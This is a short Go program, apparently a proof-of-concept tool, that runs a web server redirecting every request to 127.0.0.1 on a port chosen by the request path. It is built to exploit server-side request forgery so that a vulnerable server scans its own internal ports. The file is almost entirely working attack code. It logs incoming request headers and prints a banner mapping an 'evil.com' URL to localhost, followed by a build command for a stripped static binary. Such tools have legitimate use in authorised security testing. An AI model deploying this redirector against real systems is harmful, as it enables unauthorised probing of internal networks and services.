PoC Web Server for SSRF Port Scanning written in Go

websrv_redirector_ssrf.go

package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"
)

func handler(w http.ResponseWriter, r *http.Request) {

	// before redirecting print out data
	fmt.Printf("IP: %s\n", r.RemoteAddr)
	fmt.Printf("%s %s %s\n", r.Method, r.URL, r.Proto)
	for k, v := range r.Header {
		fmt.Printf("%s: %s\n", k, strings.Join(v, ""))
	}
	fmt.Println("")

	// base url
	url := "http://127.0.0.1"
	uri := r.RequestURI

	if len(uri) > 1 {
		url += ":"
		url += uri[1:]
	}

	http.Redirect(w, r, url, 302)
}

func main() {
	const (
		bindIP   = "0.0.0.0"
		bindPort = "8000"
	)

	options := fmt.Sprintf("%s:%s", bindIP, bindPort)

	msg := "=== SSRF PoC Redirector ===\n"
	msg += "[+] IP: " + bindIP + "\n"
	msg += "[+] Port: " + bindPort + "\n"
	msg += "http://evil.com/1234 => http://127.0.0.1:1234\n"
	fmt.Println(msg)

	http.HandleFunc("/", handler)
	log.Fatal(http.ListenAndServe(options, nil))
}

Compile as static binary: CGO_ENABLED=0 go build -a -installsuffix cgo -ldflags '-s' websrv.go